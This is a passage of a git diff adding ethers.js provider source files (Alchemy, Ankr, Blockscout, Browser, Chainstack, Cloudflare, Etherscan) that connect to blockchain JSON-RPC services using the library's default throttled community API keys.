showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; + +import type { AbstractProvider, PerformActionRequest } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; + + +const defaultApiKey = "_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC" + +function getHost(name: string): string { + switch(name) { + case "mainnet": + return "eth-mainnet.alchemyapi.io"; + case "goerli": + return "eth-goerli.g.alchemy.com"; + case "sepolia": + return "eth-sepolia.g.alchemy.com"; + + case "arbitrum": + return "arb-mainnet.g.alchemy.com"; + case "arbitrum-goerli": + return "arb-goerli.g.alchemy.com"; + case "arbitrum-sepolia": + return "arb-sepolia.g.alchemy.com"; + case "base": + return "base-mainnet.g.alchemy.com"; + case "base-goerli": + return "base-goerli.g.alchemy.com"; + case "base-sepolia": + return "base-sepolia.g.alchemy.com"; + case "matic": + return "polygon-mainnet.g.alchemy.com"; + case "matic-amoy": + return "polygon-amoy.g.alchemy.com"; + case "matic-mumbai": + return "polygon-mumbai.g.alchemy.com"; + case "optimism": + return "opt-mainnet.g.alchemy.com"; + case "optimism-goerli": + return "opt-goerli.g.alchemy.com"; + case "optimism-sepolia": + return "opt-sepolia.g.alchemy.com"; + } + + assertArgument(false, "unsupported network", "network", name); +} + +/** + * The **AlchemyProvider** connects to the [[link-alchemy]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-alchemy-signup). + * + * @_docloc: api/providers/thirdparty + */ +export class AlchemyProvider extends JsonRpcProvider implements CommunityResourcable { + readonly apiKey!: string; + + constructor(_network?: Networkish, apiKey?: null | string) { + if (_network == null) { _network = "mainnet"; } + const network = Network.from(_network); + if (apiKey == null) { apiKey = defaultApiKey; } + + const request = AlchemyProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + + defineProperties(this, { apiKey }); + } + + _getProvider(chainId: number): AbstractProvider { + try { + return new AlchemyProvider(chainId, this.apiKey); + } catch (error) { } + return super._getProvider(chainId); + } + + async _perform(req: PerformActionRequest): Promise { + + // https://docs.alchemy.com/reference/trace-transaction + if (req.method === "getTransactionResult") { + const { trace, tx } = await resolveProperties({ + trace: this.send("trace_transaction", [ req.hash ]), + tx: this.getTransaction(req.hash) + }); + if (trace == null || tx == null) { return null; } + + let data: undefined | string; + let error = false; + try { + data = trace[0].result.output; + error = (trace[0].error === "Reverted"); + } catch (error) { } + + if (data) { + assert(!error, "an error occurred during transaction executions", "CALL_EXCEPTION", { + action: "getTransactionResult", + data, + reason: null, + transaction: tx, + invocation: null, + revert: null // @TODO + }); + return data; + } + + assert(false, "could not parse trace result", "BAD_DATA", { value: trace }); + } + + return await super._perform(req); + } + + isCommunityResource(): boolean { + return (this.apiKey === defaultApiKey); + } + + static getRequest(network: Network, apiKey?: string): FetchRequest { + if (apiKey == null) { apiKey = defaultApiKey; } + + const request = new FetchRequest(`https:/\/${ getHost(network.name) }/v2/${ apiKey }`); + request.allowGzip = true; + + if (apiKey === defaultApiKey) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("alchemy"); + return true; + } + } + + return request; + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-ankr.ts b/node_modules/ethers/src.ts/providers/provider-ankr.ts new file mode 100644 index 000000000000..18860b1389cb --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-ankr.ts @@ -0,0 +1,153 @@ +/** + * [[link-ankr]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB (``bnb``) + * - BNB Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Ankr [providers-ankr] + */ +import { + defineProperties, FetchRequest, assertArgument +} from "../utils/index.js"; + +import { AbstractProvider } from "./abstract-provider.js"; +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; + +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +import type { JsonRpcError, JsonRpcPayload } from "./provider-jsonrpc.js"; + + +const defaultApiKey = "9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972"; + +function getHost(name: string): string { + switch (name) { + case "mainnet": + return "rpc.ankr.com/eth"; + case "goerli": + return "rpc.ankr.com/eth_goerli"; + case "sepolia": + return "rpc.ankr.com/eth_sepolia"; + + case "arbitrum": + return "rpc.ankr.com/arbitrum"; + case "base": + return "rpc.ankr.com/base"; + case "base-goerli": + return "rpc.ankr.com/base_goerli"; + case "base-sepolia": + return "rpc.ankr.com/base_sepolia"; + case "bnb": + return "rpc.ankr.com/bsc"; + case "bnbt": + return "rpc.ankr.com/bsc_testnet_chapel"; + case "matic": + return "rpc.ankr.com/polygon"; + case "matic-mumbai": + return "rpc.ankr.com/polygon_mumbai"; + case "optimism": + return "rpc.ankr.com/optimism"; + case "optimism-goerli": + return "rpc.ankr.com/optimism_testnet"; + case "optimism-sepolia": + return "rpc.ankr.com/optimism_sepolia"; + } + + assertArgument(false, "unsupported network", "network", name); +} + + +/** + * The **AnkrProvider** connects to the [[link-ankr]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-ankr-signup). + */ +export class AnkrProvider extends JsonRpcProvider implements CommunityResourcable { + + /** + * The API key for the Ankr connection. + */ + readonly apiKey!: string; + + /** + * Create a new **AnkrProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network?: Networkish, apiKey?: null | string) { + if (_network == null) { _network = "mainnet"; } + const network = Network.from(_network); + if (apiKey == null) { apiKey = defaultApiKey; } + + // Ankr does not support filterId, so we force polling + const options = { polling: true, staticNetwork: network }; + + const request = AnkrProvider.getRequest(network, apiKey); + super(request, network, options); + + defineProperties(this, { apiKey }); + } + + _getProvider(chainId: number): AbstractProvider { + try { + return new AnkrProvider(chainId, this.apiKey); + } catch (error) { } + return super._getProvider(chainId); + } + + /** + * Returns a prepared request for connecting to %%network%% with + * %%apiKey%%. + */ + static getRequest(network: Network, apiKey?: null | string): FetchRequest { + if (apiKey == null) { apiKey = defaultApiKey; } + + const request = new FetchRequest(`https:/\/${ getHost(network.name) }/${ apiKey }`); + request.allowGzip = true; + + if (apiKey === defaultApiKey) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("AnkrProvider"); + return true; + }; + } + + return request; + } + + getRpcError(payload: JsonRpcPayload, error: JsonRpcError): Error { + if (payload.method === "eth_sendRawTransaction") { + if (error && error.error && error.error.message === "INTERNAL_ERROR: could not replace existing tx") { + error.error.message = "replacement transaction underpriced"; + } + } + + return super.getRpcError(payload, error); + } + + isCommunityResource(): boolean { + return (this.apiKey === defaultApiKey); + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-blockscout.ts b/node_modules/ethers/src.ts/providers/provider-blockscout.ts new file mode 100644 index 000000000000..bdea74b4151b --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-blockscout.ts @@ -0,0 +1,167 @@ + +/** + * [[link-blockscout]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Ethereum Classic (``classic``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Gnosis (``xdai``) + * - Optimism (``optimism``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Blockscout [providers-blockscout] + */ +import { + assertArgument, defineProperties, FetchRequest, isHexString +} from "../utils/index.js"; + +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; + +import type { AbstractProvider, PerformActionRequest } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +import type { JsonRpcPayload, JsonRpcError } from "./provider-jsonrpc.js"; + + +function getUrl(name: string): string { + switch(name) { + case "mainnet": + return "https:/\/eth.blockscout.com/api/eth-rpc"; + case "sepolia": + return "https:/\/eth-sepolia.blockscout.com/api/eth-rpc"; + case "holesky": + return "https:/\/eth-holesky.blockscout.com/api/eth-rpc"; + + case "classic": + return "https:/\/etc.blockscout.com/api/eth-rpc"; + + case "arbitrum": + return "https:/\/arbitrum.blockscout.com/api/eth-rpc"; + + case "base": + return "https:/\/base.blockscout.com/api/eth-rpc"; + case "base-sepolia": + return "https:/\/base-sepolia.blockscout.com/api/eth-rpc"; + + case "matic": + return "https:/\/polygon.blockscout.com/api/eth-rpc"; + + case "optimism": + return "https:/\/optimism.blockscout.com/api/eth-rpc"; + case "optimism-sepolia": + return "https:/\/optimism-sepolia.blockscout.com/api/eth-rpc"; + + case "xdai": + return "https:/\/gnosis.blockscout.com/api/eth-rpc"; + } + + assertArgument(false, "unsupported network", "network", name); +} + + +/** + * The **BlockscoutProvider** connects to the [[link-blockscout]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-blockscout). + */ +export class BlockscoutProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API key. + */ + readonly apiKey!: null | string; + + /** + * Creates a new **BlockscoutProvider**. + */ + constructor(_network?: Networkish, apiKey?: null | string) { + if (_network == null) { _network = "mainnet"; } + const network = Network.from(_network); + + if (apiKey == null) { apiKey = null; } + + const request = BlockscoutProvider.getRequest(network); + super(request, network, { staticNetwork: network }); + + defineProperties(this, { apiKey }); + } + + _getProvider(chainId: number): AbstractProvider { + try { + return new BlockscoutProvider(chainId, this.apiKey); + } catch (error) { } + return super._getProvider(chainId); + } + + isCommunityResource(): boolean { + return (this.apiKey === null); + } + + getRpcRequest(req: PerformActionRequest): null | { method: string, args: Array } { + // Blockscout enforces the TAG argument for estimateGas + const resp = super.getRpcRequest(req); + if (resp && resp.method === "eth_estimateGas" && resp.args.length == 1) { + resp.args = resp.args.slice(); + resp.args.push("latest"); + } + return resp; + } + + getRpcError(payload: JsonRpcPayload, _error: JsonRpcError): Error { + const error = _error ? _error.error: null; + + // Blockscout currently drops the VM result and replaces it with a + // human-readable string, so we need to make it machine-readable. + if (error && error.code === -32015 && !isHexString(error.data || "", true)) { + const panicCodes = >{ + "assert(false)": "01", + "arithmetic underflow or overflow": "11", + "division or modulo by zero": "12", + "out-of-bounds array access; popping on an empty array": "31", + "out-of-bounds access of an array or bytesN": "32" + }; + + let panicCode = ""; + if (error.message === "VM execution error.") { + // eth_call passes this message + panicCode = panicCodes[error.data] || ""; + } else if (panicCodes[error.message || ""]) { + panicCode = panicCodes[error.message || ""]; + } + + if (panicCode) { + error.message += ` (reverted: ${ error.data })`; + error.data = "0x4e487b7100000000000000000000000000000000000000000000000000000000000000" + panicCode; + } + + } else if (error && error.code === -32000) { + if (error.message === "wrong transaction nonce") { + error.message += " (nonce too low)"; + } + } + + return super.getRpcError(payload, _error); + } + + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%%. + */ + static getRequest(network: Network): FetchRequest { + const request = new FetchRequest(getUrl(network.name)); + request.allowGzip = true; + return request; + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-browser.ts b/node_modules/ethers/src.ts/providers/provider-browser.ts new file mode 100644 index 000000000000..e2f7fee96164 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-browser.ts @@ -0,0 +1,334 @@ + +import { assertArgument, makeError } from "../utils/index.js"; + +import { JsonRpcApiPollingProvider } from "./provider-jsonrpc.js"; + +import type { + JsonRpcApiProviderOptions, + JsonRpcError, JsonRpcPayload, JsonRpcResult, + JsonRpcSigner +} from "./provider-jsonrpc.js"; +import type { Network, Networkish } from "./network.js"; + +/** + * The interface to an [[link-eip-1193]] provider, which is a standard + * used by most injected providers, which the [[BrowserProvider]] accepts + * and exposes the API of. + */ +export interface Eip1193Provider { + /** + * See [[link-eip-1193]] for details on this method. + */ + request(request: { method: string, params?: Array | Record }): Promise; +}; + +/** + * The possible additional events dispatched when using the ``"debug"`` + * event on a [[BrowserProvider]]. + */ +export type DebugEventBrowserProvider = { + action: "sendEip1193Payload", + payload: { method: string, params: Array } +} | { + action: "receiveEip1193Result", + result: any +} | { + action: "receiveEip1193Error", + error: Error +}; + +/** + * Provider info provided by the [[link-eip-6963]] discovery mechanism. + */ +export interface Eip6963ProviderInfo { + uuid: string; + name: string; + icon: string; + rdns: string; +} + +interface Eip6963ProviderDetail { + info: Eip6963ProviderInfo; + provider: Eip1193Provider; +} + +interface Eip6963Announcement { + type: "eip6963:announceProvider"; + detail: Eip6963ProviderDetail +} + +export type BrowserProviderOptions = { + polling?: boolean; + staticNetwork?: null | boolean | Network; + + cacheTimeout?: number; + pollingInterval?: number; + + providerInfo?: Eip6963ProviderInfo; +}; + +/** + * Specifies how [[link-eip-6963]] discovery should proceed. + * + * See: [[BrowserProvider-discover]] + */ +export interface BrowserDiscoverOptions { + /** + * Override provider detection with this provider. + */ + provider?: Eip1193Provider; + + /** + * Duration to wait to detect providers. (default: 300ms) + */ + timeout?: number; + + /** + * Return the first detected provider. Otherwise wait for %%timeout%% + * and allowing filtering before selecting the desired provider. + */ + anyProvider?: boolean; + + /** + * Use the provided window context. Useful in non-standard + * environments or to hijack where a provider comes from. + */ + window?: any; + + /** + * Explicitly choose which provider to used once scanning is complete. + */ + filter?: (found: Array) => null | BrowserProvider | + Eip6963ProviderInfo; +} + + +/** + * A **BrowserProvider** is intended to wrap an injected provider which + * adheres to the [[link-eip-1193]] standard, which most (if not all) + * currently do. + */ +export class BrowserProvider extends JsonRpcApiPollingProvider { + #request: (method: string, params: Array | Record) => Promise; + + #providerInfo: null | Eip6963ProviderInfo; + + /** + * Connect to the %%ethereum%% provider, optionally forcing the + * %%network%%. + */ + constructor(ethereum: Eip1193Provider, network?: Networkish, _options?: BrowserProviderOptions) { + + // Copy the options + const options: JsonRpcApiProviderOptions = Object.assign({ }, + ((_options != null) ? _options: { }), + { batchMaxCount: 1 }); + + assertArgument(ethereum && ethereum.request, "invalid EIP-1193 provider", "ethereum", ethereum); + + super(network, options); + + this.#providerInfo = null; + if (_options && _options.providerInfo) { + this.#providerInfo = _options.providerInfo; + } + + this.#request = async (method: string, params: Array | Record) => { + const payload = { method, params }; + this.emit("debug", { action: "sendEip1193Request", payload }); + try { + const result = await ethereum.request(payload); + this.emit("debug", { action: "receiveEip1193Result", result }); + return result; + } catch (e: any) { + const error = new Error(e.message); + (error).code = e.code; + (error).data = e.data; + (error).payload = payload; + this.emit("debug", { action: "receiveEip1193Error", error }); + throw error; + } + }; + } + + get providerInfo(): null | Eip6963ProviderInfo { + return this.#providerInfo; + } + + async send(method: string, params: Array | Record): Promise { + await this._start(); + + return await super.send(method, params); + } + + async _send(payload: JsonRpcPayload | Array): Promise> { + assertArgument(!Array.isArray(payload), "EIP-1193 does not support batch request", "payload", payload); + + try { + const result = await this.#request(payload.method, payload.params || [ ]); + return [ { id: payload.id, result } ]; + } catch (e: any) { + return [ { + id: payload.id, + error: { code: e.code, data: e.data, message: e.message } + } ]; + } + } + + getRpcError(payload: JsonRpcPayload, error: JsonRpcError): Error { + + error = JSON.parse(JSON.stringify(error)); + + // EIP-1193 gives us some machine-readable error codes, so rewrite + // them into Ethers standard errors. + switch (error.error.code || -1) { + case 4001: + error.error.message = `ethers-user-denied: ${ error.error.message }`; + break; + case 4200: + error.error.message = `ethers-unsupported: ${ error.error.message }`; + break; + } + + return super.getRpcError(payload, error); + } + + /** + * Resolves to ``true`` if the provider manages the %%address%%. + */ + async hasSigner(address: number | string): Promise { + if (address == null) { address = 0; } + + const accounts = await this.send("eth_accounts", [ ]); + if (typeof(address) === "number") { + return (accounts.length > address); + } + + address = address.toLowerCase(); + return accounts.filter((a: string) => (a.toLowerCase() === address)).length !== 0; + } + + async getSigner(address?: number | string): Promise { + if (address == null) { address = 0; } + + if (!(await this.hasSigner(address))) { + try { + await this.#request("eth_requestAccounts", [ ]); + + } catch (error: any) { + const payload = error.payload; + throw this.getRpcError(payload, { id: payload.id, error }); + } + } + + return await super.getSigner(address); + } + + /** + * Discover and connect to a Provider in the Browser using the + * [[link-eip-6963]] discovery mechanism. If no providers are + * present, ``null`` is resolved. + */ + static async discover(options?: BrowserDiscoverOptions): Promise { + if (options == null) { options = { }; } + + if (options.provider) { + return new BrowserProvider(options.provider); + } + + const context = options.window ? options.window: + (typeof(window) !== "undefined") ? window: null; + + if (context == null) { return null; } + + const anyProvider = options.anyProvider; + if (anyProvider && context.ethereum) { + return new BrowserProvider(context.ethereum); + } + + if (!("addEventListener" in context && "dispatchEvent" in context + && "removeEventListener" in context)) { + return null; + } + + const timeout = options.timeout ? options.timeout: 300; + if (timeout === 0) { return null; } + + return await (new Promise((resolve, reject) => { + let found: Array = [ ]; + + const addProvider = (event: Eip6963Announcement) => { + found.push(event.detail); + if (anyProvider) { finalize(); } + }; + + const finalize = () => { + clearTimeout(timer); + + if (found.length) { + + // If filtering is provided: + if (options && options.filter) { + + // Call filter, with a copies of found provider infos + const filtered = options.filter(found.map(i => + Object.assign({ }, (i.info)))); + + if (filtered == null) { + // No provider selected + resolve(null); + + } else if (filtered instanceof BrowserProvider) { + // Custom provider created + resolve(filtered); + + } else { + // Find the matching provider + let match: null | Eip6963ProviderDetail = null; + if (filtered.uuid) { + const matches = found.filter(f => + (filtered.uuid === f.info.uuid)); + // @TODO: What should happen if multiple values + // for the same UUID? + match = matches[0]; + } + + if (match) { + const { provider, info } = match; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } else { + reject(makeError("filter returned unknown info", "UNSUPPORTED_OPERATION", { + value: filtered + })); + } + } + + } else { + + // Pick the first found provider + const { provider, info } = found[0]; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } + + } else { + // Nothing found + resolve(null); + } + + context.removeEventListener("eip6963:announceProvider", + addProvider); + }; + + const timer = setTimeout(() => { finalize(); }, timeout); + + context.addEventListener("eip6963:announceProvider", + addProvider); + + context.dispatchEvent(new Event("eip6963:requestProvider")); + })); + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-chainstack.ts b/node_modules/ethers/src.ts/providers/provider-chainstack.ts new file mode 100644 index 000000000000..0daf8b791750 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-chainstack.ts @@ -0,0 +1,113 @@ +/** + * [[link-chainstack]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Arbitrum (``arbitrum``) + * - BNB Smart Chain Mainnet (``bnb``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Chainstack [providers-chainstack] + */ +import { + defineProperties, FetchRequest, assertArgument +} from "../utils/index.js"; + +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; + +import type { AbstractProvider } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; + + +function getApiKey(name: string): string { + switch (name) { + case "mainnet": return "39f1d67cedf8b7831010a665328c9197"; + case "arbitrum": return "0550c209db33c3abf4cc927e1e18cea1" + case "bnb": return "98b5a77e531614387366f6fc5da097f8"; + case "matic": return "cd9d4d70377471aa7c142ec4a4205249"; + } + + assertArgument(false, "unsupported network", "network", name); +} + +function getHost(name: string): string { + switch(name) { + case "mainnet": + return "ethereum-mainnet.core.chainstack.com"; + case "arbitrum": + return "arbitrum-mainnet.core.chainstack.com"; + case "bnb": + return "bsc-mainnet.core.chainstack.com"; + case "matic": + return "polygon-mainnet.core.chainstack.com"; + } + + assertArgument(false, "unsupported network", "network", name); +} + +/** + * The **ChainstackProvider** connects to the [[link-chainstack]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-chainstack). + */ +export class ChainstackProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API key for the Chainstack connection. + */ + readonly apiKey!: string; + + /** + * Creates a new **ChainstackProvider**. + */ + constructor(_network?: Networkish, apiKey?: null | string) { + if (_network == null) { _network = "mainnet"; } + const network = Network.from(_network); + + if (apiKey == null) { apiKey = getApiKey(network.name); } + + const request = ChainstackProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + + defineProperties(this, { apiKey }); + } + + _getProvider(chainId: number): AbstractProvider { + try { + return new ChainstackProvider(chainId, this.apiKey); + } catch (error) { } + return super._getProvider(chainId); + } + + isCommunityResource(): boolean { + return (this.apiKey === getApiKey(this._network.name)); + } + + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%% and %%projectSecret%%. + */ + static getRequest(network: Network, apiKey?: null | string): FetchRequest { + if (apiKey == null) { apiKey = getApiKey(network.name); } + + const request = new FetchRequest(`https:/\/${ getHost(network.name) }/${ apiKey }`); + request.allowGzip = true; + + if (apiKey === getApiKey(network.name)) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("ChainstackProvider"); + return true; + }; + } + + return request; + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-cloudflare.ts b/node_modules/ethers/src.ts/providers/provider-cloudflare.ts new file mode 100644 index 000000000000..7e0d87e6be34 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-cloudflare.ts @@ -0,0 +1,24 @@ +/** + * About Cloudflare + * + * @_subsection: api/providers/thirdparty:Cloudflare [providers-cloudflare] + */ + +import { assertArgument } from "../utils/index.js"; + +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; + +import type { Networkish } from "./network.js"; + +/** + * About Cloudflare... + */ +export class CloudflareProvider extends JsonRpcProvider { + constructor(_network?: Networkish) { + if (_network == null) { _network = "mainnet"; } + const network = Network.from(_network); + assertArgument(network.name === "mainnet", "unsupported network", "network", _network); + super("https:/\/cloudflare-eth.com/", network, { staticNetwork: network }); + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-etherscan.ts b/node_modules/ethers/src.ts/providers/provider-etherscan.ts new file mode 100644 index 000000000000..b2004fc87ae8 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-etherscan.ts @@ -0,0 +1,673 @@ +/** + * [[link-etherscan]] provides a third-party service for connecting to + * various blockchains over a combination of JSON-RPC and custom API + * endpoints. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * - Polygon Amoy Testnet (``matic-amoy``) + * + * @_subsection api/providers/thirdparty:Etherscan [providers-etherscan] + */ + +import { AbiCoder } from "../abi/index.js"; +import { Contract } from "../contract/index.js"; +import { accessListify, Transaction } from "../transaction/index.js"; +import { + defineProperties, + hexlify, toQuantity, + FetchRequest, + assert, assertArgument, isError, +// parseUnits, + toUtf8String + } from "../utils/index.js"; + +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import { NetworkPlugin } from "./plugins-network.js"; +import { showThrottleMessage } from "./community.js"; + +import { PerformActionRequest } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +//import type { } from "./pagination"; +import type { TransactionRequest } from "./provider.js"; + +const THROTTLE = 2000; + +function isPromise(value: any): value is Promise { + return (value && typeof(value.then) === "function"); +} + + +/** + * When subscribing to the ``"debug"`` event on an Etherscan-based + * provider, the events receive a **DebugEventEtherscanProvider** + * payload. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export type DebugEventEtherscanProvider = { + action: "sendRequest", + id: number, + url: string, + payload: Record +} | { + action: "receiveRequest", + id: number, + result: any +} | { + action: "receiveError", + id: number, + error: any +}; + +const EtherscanPluginId = "org.ethers.plugins.provider.Etherscan"; + +/** + * A Network can include an **EtherscanPlugin** to provide + * a custom base URL. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export class EtherscanPlugin extends NetworkPlugin { + /** + * The Etherscan API base URL. + */ + readonly baseUrl!: string; + + /** + * Creates a new **EtherscanProvider** which will use + * %%baseUrl%%. + */ + constructor(baseUrl: string) { + super(EtherscanPluginId); + defineProperties(this, { baseUrl }); + } + + clone(): EtherscanPlugin { + return new EtherscanPlugin(this.baseUrl); + } +} + +const skipKeys = [ "enableCcipRead" ]; + +let nextId = 1; + +/** + * The **EtherscanBaseProvider** is the super-class of + * [[EtherscanProvider]], which should generally be used instead. + * + * Since the **EtherscanProvider** includes additional code for + * [[Contract]] access, in //rare cases// that contracts are not + * used, this class can reduce code size. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export class EtherscanProvider extends AbstractProvider { + + /** + * The connected network. + */ + readonly network!: Network; + + /** + * The API key or null if using the community provided bandwidth. + */ + readonly apiKey!: null | string; + + readonly #plugin: null | EtherscanPlugin; + + /** + * Creates a new **EtherscanBaseProvider**. + */ + constructor(_network?: Networkish, _apiKey?: string) { + const apiKey = (_apiKey != null) ? _apiKey: null; + + super(); + + const network = Network.from(_network); + + this.#plugin = network.getPlugin(EtherscanPluginId); + + defineProperties(this, { apiKey, network }); + } + + /** + * Returns the base URL. + * + * If an [[EtherscanPlugin]] is configured on the + * [[EtherscanBaseProvider_network]], returns the plugin's + * baseUrl. + * + * Deprecated; for Etherscan v2 the base is no longer a simply + * host, but instead a URL including a chainId parameter. Changing + * this to return a URL prefix could break some libraries, so it + * is left intact but will be removed in the future as it is unused. + */ + getBaseUrl(): string { + if (this.#plugin) { return this.#plugin.baseUrl; } + + switch(this.network.name) { + case "mainnet": + return "https:/\/api.etherscan.io"; + case "goerli": + return "https:/\/api-goerli.etherscan.io"; + case "sepolia": + return "https:/\/api-sepolia.etherscan.io"; + case "holesky": + return "https:/\/api-holesky.etherscan.io"; + + case "arbitrum": + return "https:/\/api.arbiscan.io"; + case "arbitrum-goerli": + return "https:/\/api-goerli.arbiscan.io"; + case "base": + return "https:/\/api.basescan.org"; + case "base-sepolia": + return "https:/\/api-sepolia.basescan.org"; + case "bnb": + return "https:/\/api.bscscan.com"; + case "bnbt": + return "https:/\/api-testnet.bscscan.com"; + case "matic": + return "https:/\/api.polygonscan.com"; + case "matic-amoy": + return "https:/\/api-amoy.polygonscan.com"; + case "matic-mumbai": + return "https:/\/api-testnet.polygonscan.com"; + case "optimism": + return "https:/\/api-optimistic.etherscan.io"; + case "optimism-goerli": + return "https:/\/api-goerli-optimistic.etherscan.io"; + + default: + } + + assertArgument(false, "unsupported network", "network", this.network); + } + + /** + * Returns the URL for the %%module%% and %%params%%. + */ + getUrl(module: string, params: Record): string { + let query = Object.keys(params).reduce((accum, key) => { + const value = params[key]; + if (value != null) { + accum += `&${ key }=${ value }` + } + return accum + }, ""); + if (this.apiKey) { query += `&apikey=${ this.apiKey }`; } + return `https:/\/api.etherscan.io/v2/api?chainid=${ this.network.chainId }&module=${ module }${ query }`; + } + + /** + * Returns the URL for using POST requests. + */ + getPostUrl(): string { + return `https:/\/api.etherscan.io/v2/api?chainid=${ this.network.chainId }`; + } + + /** + * Returns the parameters for using POST requests. + */ + getPostData(module: string, params: Record): Record { + params.module = module; + params.apikey = this.apiKey; + params.chainid = this.network.chainId; + return params; + } + + async detectNetwork(): Promise { + return this.network; + } + + /** + * Resolves to the result of calling %%module%% with %%params%%. + * + * If %%post%%, the request is made as a POST request. + */ + async fetch(module: string, params: Record, post?: boolean): Promise { + const id = nextId++; + + const url = (post ? this.getPostUrl(): this.getUrl(module, params)); + const payload = (post ? this.getPostData(module, params): null); + + this.emit("debug", { action: "sendRequest", id, url, payload: payload }); + + const request = new FetchRequest(url); + request.setThrottleParams({ slotInterval: 1000 }); + request.retryFunc = (req, resp, attempt: number) => { + if (this.isCommunityResource()) { + showThrottleMessage("Etherscan"); + } + return Promise.resolve(true); + }; + request.processFunc = async (request, response) => { + const result = response.hasBody() ? JSON.parse(toUtf8String(response.body)): { }; + const throttle = ((typeof(result.result) === "string") ? result.result: "").toLowerCase().indexOf("rate limit") >= 0; + if (module === "proxy") { + // This JSON response indicates we are being throttled + if (result && result.status == 0 && result.message == "NOTOK" && throttle) { + this.emit("debug", { action: "receiveError", id, reason: "proxy-NOTOK", error: result }); + response.throwThrottleError(result.result, THROTTLE); + } + } else { + if (throttle) { + this.emit("debug", { action: "receiveError", id, reason: "null result", error: result.result }); + response.throwThrottleError(result.result, THROTTLE); + } + } + return response; + }; + + if (payload) { + request.setHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8"); + request.body = Object.keys(payload).map((k) => `${ k }=${ payload[k] }`).join("&"); + } + 